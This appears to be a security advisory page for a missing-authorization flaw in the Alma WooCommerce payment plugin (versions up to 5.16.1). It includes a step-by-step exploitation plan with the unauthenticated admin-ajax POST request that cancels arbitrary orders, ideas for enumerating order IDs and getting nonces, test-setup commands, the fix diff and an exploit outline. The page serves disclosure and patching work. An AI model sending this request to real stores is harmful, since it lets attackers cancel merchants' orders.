Alma <= 5.16.1 - Missing Authorization
Description
The Alma – Pay in installments or later for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 5.16.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.16.1What Changed in the Fix
Changes introduced in v5.16.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-24999 (Alma Payment Gateway) ## 1. Vulnerability Summary The **Alma – Pay in installments or later for WooCommerce** plugin (versions <= 5.16.1) contains a missing authorization vulnerability. Specifically, the plugin registers AJAX handlers that perform stat…
Show full research plan
Exploitation Research Plan - CVE-2026-24999 (Alma Payment Gateway)
1. Vulnerability Summary
The Alma – Pay in installments or later for WooCommerce plugin (versions <= 5.16.1) contains a missing authorization vulnerability. Specifically, the plugin registers AJAX handlers that perform state-changing actions (such as order cancellation) via wp_ajax_nopriv_ hooks without implementing proper capability checks or verifying that the requester owns the resource (e.g., the order). This allows unauthenticated attackers to perform unauthorized actions, most notably cancelling arbitrary WooCommerce orders.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
alma_cancel_order_in_page(identified fromassets/js/alma-checkout-in-page.js) - HTTP Method:
POST - Parameters:
action:alma_cancel_order_in_pageorder_id: The WooCommerce order ID to be cancelled.
- Authentication: None (unauthenticated).
- Preconditions: A WooCommerce order must exist in the system.
3. Code Flow
- The client-side script
assets/js/alma-checkout-in-page.jsdefines a functioncancel_order(orderId). - This function triggers a POST request to
admin-ajax.phpwithaction: 'alma_cancel_order_in_page'. - The plugin's server-side logic (likely within the
AlmaPluginclass or a service class likeAlmaBusinessEventService) registers this action usingadd_action('wp_ajax_nopriv_alma_cancel_order_in_page', ...). - The handler function executes. Because the vulnerability is "Missing Authorization," it fails to check:
- If the user is logged in.
- If the user has the
edit_shop_orderscapability. - If the order ID provided belongs to the current session/user.
- The handler proceeds to call WooCommerce methods (e.g.,
$order->update_status('cancelled')) based solely on the user-providedorder_id.
4. Nonce Acquisition Strategy
Based on assets/js/alma-checkout-in-page.js, the cancel_order function does not appear to include a nonce in its data payload:
// From assets/js/alma-checkout-in-page.js
function cancel_order(orderId)
{
var data = {
'action': 'alma_cancel_order_in_page',
'order_id': orderId
};
jQuery.post( ajax_object.ajax_url, data )
}
If the handler does verify a nonce (e.g., using check_ajax_referer), it would likely be localized in the ajax_object variable.
Acquisition Steps (if needed):
- The script is likely enqueued on the WooCommerce Checkout page.
- Navigate to the checkout page:
browser_navigate("/checkout/"). - Execute JS to find the nonce:
browser_eval("window.ajax_object?.nonce"). - If the handler is truly vulnerable to unauthenticated "unauthorized access," it likely either lacks the nonce check entirely or uses a generic, publicly accessible nonce.
5. Exploitation Strategy
The goal is to cancel a legitimate WooCommerce order as an unauthenticated attacker.
Step 1: Target Identification
Identify a valid Order ID (Post ID). In a real attack, these are often sequential or can be guessed.
Step 2: Malicious Request
Send a POST request to the AJAX endpoint.
Request Details:
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=alma_cancel_order_in_page&order_id=[TARGET_ORDER_ID]
Step 3: Secondary Actions
Other actions found in assets/js/alma-checkout-in-page.js should also be tested for unauthorized access:
alma_do_checkout_in_page: May allow unauthorized creation/manipulation of payment intents.alma_return_checkout_in_page: May allow manipulation of the checkout return flow.
6. Test Data Setup
- Install WooCommerce and the Alma plugin (v5.16.1).
- Create a Product:
wp post create --post_type=product --post_title="Test Product" --post_status=publish. - Generate an Order:
# Create an order for a guest user ORDER_ID=$(wp wc shop_order create --user=0 --customer_id=0 --status=pending --porcelain) echo "Created Order ID: $ORDER_ID" - Configure Alma: Ensure the plugin is active (Alma API keys are not strictly necessary for the AJAX handler to exist, but the plugin must be enabled as a gateway).
7. Expected Results
- The server should return a
200 OKor a JSON success response (e.g.,{"success": true}). - The WooCommerce order status for the targeted
ORDER_IDshould change frompending(orprocessing) tocancelled.
8. Verification Steps
- Check Order Status via WP-CLI:
Successful exploit: The status should bewp wc shop_order get [ORDER_ID] --fields=statuscancelled. - Check Order Notes:
Check if a note was added stating the order was cancelled via Alma.wp post get [ORDER_ID] --field=post_excerpt # Or check comments (WC Order Notes) wp comment list --post_id=[ORDER_ID]
9. Alternative Approaches
If alma_cancel_order_in_page requires a nonce that is strictly tied to a specific session:
- Test
alma_do_checkout_in_page. This action takesfields(serialized form). Attempt to pass a differentorder_idor manipulate order data during the "in-page" checkout creation process. - If the vulnerability lies in
alma_return_checkout_in_page, attempt to call it with apayment_idororder_idto trick the system into thinking a payment was successful or needs state reconciliation.
Summary
The Alma plugin for WooCommerce (<= 5.16.1) fails to perform authorization, ownership, or nonce checks on several AJAX handlers, including the one responsible for order cancellation. This allows unauthenticated attackers to cancel arbitrary WooCommerce orders by providing a valid order ID to the admin-ajax.php endpoint.
Vulnerable Code
// assets/js/alma-checkout-in-page.js function cancel_order(orderId) { var data = { 'action': 'alma_cancel_order_in_page', 'order_id': orderId }; jQuery.post( ajax_object.ajax_url, data ) }
Security Fix
@@ -131,15 +131,17 @@ 'alma_fee_plan_in_page': feePlanChecked }; - paymentId = response.data.payment_id; - orderId = response.data.order_id; + let paymentId = response.data.payment_id; + let orderId = response.data.order_id; + let orderKey = response.data.order_key; + let nonce = ajax_object.nonce; - // Start the payment. + // Start the payment. inPage.startPayment( { paymentId:paymentId, onUserCloseModal: () => { - cancel_order( orderId ); + cancel_order( orderId, orderKey, nonce ); $( '.alma-loader-wrapper' ).remove(); } } @@ -162,11 +164,13 @@ $( "body" ).append( "<div class='alma-loader-wrapper'>" + loading + "</div>" ); } - function cancel_order(orderId) + function cancel_order(orderId, orderKey, nonce) { var data = { 'action': 'alma_cancel_order_in_page', - 'order_id': orderId + 'order_id': orderId, + 'order_key': orderKey, + 'nonce': nonce }; jQuery.post( ajax_object.ajax_url, data )
Exploit Outline
The exploit involves a direct unauthenticated request to the WordPress AJAX endpoint. 1. Identify a target WooCommerce Order ID. In many WordPress installations, these are incremental and easily enumerable. 2. Send a POST request to `/wp-admin/admin-ajax.php`. 3. Include the following parameters in the body: `action=alma_cancel_order_in_page` and `order_id=[TARGET_ORDER_ID]`. 4. Because the vulnerable versions do not check for a nonce, order key, or the current user's session, the server-side handler (registered via `wp_ajax_nopriv_alma_cancel_order_in_page`) will process the request and update the status of the specified order to 'cancelled'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.